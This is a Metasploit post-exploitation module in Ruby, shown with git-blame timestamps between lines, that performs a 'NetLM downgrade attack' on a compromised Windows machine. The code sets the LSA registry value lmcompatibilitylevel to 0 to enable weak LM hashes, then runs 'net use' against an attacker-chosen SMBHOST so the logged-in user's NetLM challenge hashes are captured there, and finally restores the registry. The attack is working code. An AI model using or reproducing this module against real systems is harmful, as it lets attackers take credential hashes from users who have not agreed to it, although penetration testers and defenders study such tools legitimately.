2012-11-29 04:01:47 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/windows/registry'
|
|
|
|
require 'msf/core/post/windows/services'
|
|
|
|
require 'msf/core/post/common'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Windows::Registry
|
|
|
|
include Msf::Post::Windows::WindowsServices
|
|
|
|
include Msf::Post::Common
|
2012-12-01 15:09:33 +00:00
|
|
|
include Msf::Post::Windows::Priv
|
2012-11-29 04:01:47 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows NetLM Downgrade Attack',
|
|
|
|
'Description' => %q{ This module will change a registry value to enable
|
2012-12-01 17:57:51 +00:00
|
|
|
the sending of LM challenge hashes and then initiate a SMB connection to
|
2012-11-29 04:01:47 +00:00
|
|
|
the SMBHOST datastore. If an SMB server is listening, it will receive the
|
|
|
|
NetLM hashes
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2012-12-19 15:45:01 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Brandon McCann "zeknox" <bmccann [at] accuvant.com>',
|
|
|
|
'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>'
|
|
|
|
],
|
2012-11-29 04:01:47 +00:00
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
2012-12-19 15:45:01 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://www.fishnetsecurity.com/6labs/blog/post-exploitation-using-netntlm-downgrade-attacks']
|
|
|
|
]
|
2012-11-29 04:01:47 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2012-12-19 15:45:01 +00:00
|
|
|
OptAddress.new('SMBHOST', [ true, 'IP Address where SMB host is listening to capture hashes.' ])
|
2012-11-29 04:01:47 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
# method to make smb connection
|
|
|
|
def smb_connect
|
2012-12-01 15:09:33 +00:00
|
|
|
begin
|
|
|
|
print_status("Establishing SMB connection to " + datastore['SMBHOST'])
|
2012-12-21 19:00:08 +00:00
|
|
|
cmd_exec("cmd.exe","/c net use \\\\#{datastore['SMBHOST']}")
|
|
|
|
print_good("The SMBHOST should now have NetLM hashes")
|
2012-12-01 17:09:01 +00:00
|
|
|
rescue
|
2012-12-01 15:09:33 +00:00
|
|
|
print_error("Issues establishing SMB connection")
|
|
|
|
end
|
2012-11-29 04:01:47 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# if netlm is disabled, enable it in the registry
|
|
|
|
def run
|
2012-12-01 15:09:33 +00:00
|
|
|
# if running as SYSTEM exit
|
|
|
|
if is_system?
|
|
|
|
# running as SYSTEM and will not pass any network credentials
|
|
|
|
print_error "Running as SYSTEM, should be run as valid USER"
|
|
|
|
return
|
2012-12-19 15:45:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
subkey = "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\"
|
|
|
|
v_name = "lmcompatibilitylevel"
|
|
|
|
netlm = registry_getvaldata(subkey, v_name)
|
|
|
|
if netlm.nil?
|
|
|
|
print_error("Issues enumerating registry values")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if netlm == 0
|
|
|
|
print_status("NetLM is already enabled on this system")
|
|
|
|
|
|
|
|
# call smb_connect method to pass network hashes
|
|
|
|
smb_connect
|
2012-11-29 04:01:47 +00:00
|
|
|
else
|
2012-12-19 15:45:01 +00:00
|
|
|
|
|
|
|
print_status("NetLM is Disabled: #{subkey}#{v_name} == #{netlm.to_s}")
|
|
|
|
v = registry_setvaldata(subkey,v_name,0,"REG_DWORD")
|
|
|
|
if v.nil?
|
|
|
|
print_error("Issues modifying registry value")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
post_netlm = registry_getvaldata(subkey, v_name)
|
|
|
|
if post_netlm.nil?
|
2012-12-01 15:09:33 +00:00
|
|
|
print_error("Issues enumerating registry values")
|
2012-12-19 15:45:01 +00:00
|
|
|
return
|
2012-12-01 15:09:33 +00:00
|
|
|
end
|
|
|
|
|
2012-12-19 15:45:01 +00:00
|
|
|
print_good("NetLM is Enabled: #{subkey}#{v_name} == #{post_netlm.to_s}")
|
2012-11-29 04:01:47 +00:00
|
|
|
|
2012-12-01 15:09:33 +00:00
|
|
|
# call smb_connect method to pass network hashes
|
2012-12-19 15:45:01 +00:00
|
|
|
smb_connect
|
2012-11-29 04:01:47 +00:00
|
|
|
|
2012-12-19 15:45:01 +00:00
|
|
|
# cleanup the registry
|
|
|
|
v = registry_setvaldata(subkey,v_name,netlm,"REG_DWORD")
|
|
|
|
if v
|
|
|
|
print_status("Cleanup Completed: #{subkey}#{v_name} == #{netlm.to_s}")
|
|
|
|
else
|
|
|
|
print_error("Issues cleaning up registry changes")
|
|
|
|
return
|
2012-12-01 15:09:33 +00:00
|
|
|
end
|
2012-12-19 15:45:01 +00:00
|
|
|
|
2012-11-29 04:01:47 +00:00
|
|
|
end
|
|
|
|
end
|
2012-12-03 05:43:35 +00:00
|
|
|
end
|